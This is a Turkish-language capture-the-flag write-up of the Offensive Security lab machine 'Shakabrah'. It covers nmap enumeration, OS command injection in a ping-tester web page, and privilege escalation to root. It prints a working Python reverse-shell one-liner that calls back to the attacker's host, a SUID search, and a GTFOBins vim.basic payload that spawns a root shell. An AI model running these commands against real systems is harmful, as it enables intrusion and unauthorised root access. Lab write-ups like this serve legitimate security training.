Offensive Security / Shakabrah

LinkDifficulty
ShakabrahEasy

Scan / Enumeration

Keşif işlemine nmap taraması yaparak başlıyorum. Taramanın hızını arttırmak için -T4 parametresini kullanıyorum. Tarama sırasında karşılaşılan açık portları ve taramanın ne zaman biteceğine dair bilgileri düzenli olarak ekrana basması için -vv parametresini kullanıyorum. Makinedeki bütün portları taramak için -p- parametresini kullanıyorum ve son olarak da makinenin IP adresini vererek taramayı başlatıyorum.

nmap -T4 -vv -p- $IP

Taramanın sonucunda 22 ve 80 portlarının açık olduğunu görüyorum. Bu portlar hakkında ayrıntılı bilgi alabilmel için portlara özel bir nmap taraması daha gerçekleştiriyorum. Taramada, versiyon taraması işlevini gören -sV ve script taraması işlevini gören -sC parametrelerinin birleşimi olarak -sVC parametresini kullanıyorum. Taranacak olan portları -p sonrasında belirtiyorum. Taramanın çıktsını bir dosyaya kaydetmek için -oN parametresini de kullandıktan sonra IP adresini vererek taramayı başlatıyorum.

nmap -sVC -p22,80 -oN shakabrah.nmap $IP

22 portunda SSH servisi ve 80 portunda Apache web server çalıştığını görüyorum.

OpenSSH 7.6p1 versiyonu için searchsploit ve arama motorları aracılığıyla exploit araması yapıyorum. Daha sonra işime yarayabilecek olan bir user enumeration exploit’i dışında bir şey bulamıyorum. Bu exploit’i olası bir kullanıcı adı bulmam durumunda kullanmak üzere bırakıyorum ve diğer servisi keşfetmeye geçiyorum.

Apache 2.4.29 versiyonu için de aynı şekilde bir exploit araması gerçekleştiriyorum. Bire bir bu versiyon için olmasa da denemeye değebilecek bir kaç exploit ile karşılaşıyorum fakat bundan önce web servisini keşfetmeyi deneyip herhangi bir şey bulamazsam exploitleri denemeye karar veriyorum.


Gain Shell

Web sitesine bir tarayıcı aracılığıyla eriştiğimde karşıma Connection Tester isminde verilen IP adresine ping atıp sonucu döndüren bir site çıkıyor. Doğal olarak bir OS Command Injection zafiyeti ile karşı karşıya olduğumu anlıyorum ve payloadlar denemeye başlıyorum. Beklediğimden daha kolay bir şekilde ilk denememde istediğim çıktıyı alıyorum.

Buradan reverse shell almayı denemeden önce makinede bulunan kullanıcının id_rsa dosyasına ulaşmaya çalışıyorum. Makinede bulunan dylan kullanıcısının dosyası olmadığını görüyorum. Kendim bir .ssh dizini oluşturarak authorized_key dosyasına kendi public keyimi vererek ssh bağlantısı sağlamayı düşünüyorum fakat üzerinde komut çalıştırdığım kullanıcı www-data kullanıcısı olduğu için şu an bunu gerçekleştiremiyorum.

Makineden shell alabilmek için çok fazla payload deniyorum fakat hiç birinde shell alamıyorum. Bazı payload’ların diğerlerinden daha uzun süre beklediğini ama yine de shell gelmediğini görünce port değiştirerek denemeye karar veriyorum. Bir kaç port denedikten sonra default http portu olan 80 portu üzerinden shell almayı deniyorum ve başarıyorum.

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$IP",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Privilege Escalation

Bağlandığım shell’i daha stabil hale getirmek için python yardımıyla bash’e geçiyorum.

python3 -c "import pty;pty.spawn('/bin/bash')"

Makineye bağlandığım kullanıcı olan www-data kullanıcısının shell yetkisi olmadığı için muhtemelen sudo yetkisinin de olmayacağını düşünüyorum fakat yine de sudo -l komutuyla kontrol ediyorum ve parola istediği için herhangi bir işlem gerçekleştiremiyorum. Makinede bulunan SUID dosyaları kontrol ediyorum. Dosyaları bulabilmek için find komutunu kullanıyorum. Aranacak dizin olarak / dizinini vererek bütün makinede arama yapmasını sağlıyorum. Yalnızca SUID yetkisi olan dosyaları getirmesi için -perm parametresine -4000 değerini veriyorum. İzini olmayan dosyalarda karşılaştığı hataları ekrana basmaması için 2>/dev/null ile hataları hiçliğe yolluyorum.

find / -perm -4000 2>/dev/null

Bulunan dosyalar içerisinde /usr/bin/vim.basic dosyası ilgimi çekiyor. GTFOBins aracılığıyla bu SUID dosyasını nasıl sömürebileceğimi öğreniyorum. Makine üzerinde python3 bulunduğu için öğrendiğim payload üzerindeki py değerini py3 ile değiştiriyorum.

/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Komutu çalıştırıyorum ve more işareti gidene kadar enter’a basıyorum. Daha sonra Terminal type? sorusuyla karşılaştığımda bash ve sh değerlerini deniyorum fakat bir sonuç alamıyorum. Bir kaç değer daha denedikten sonra xterm‘i deniyorum ve root kullanıcısı olarak shell’e erişebiliyorum.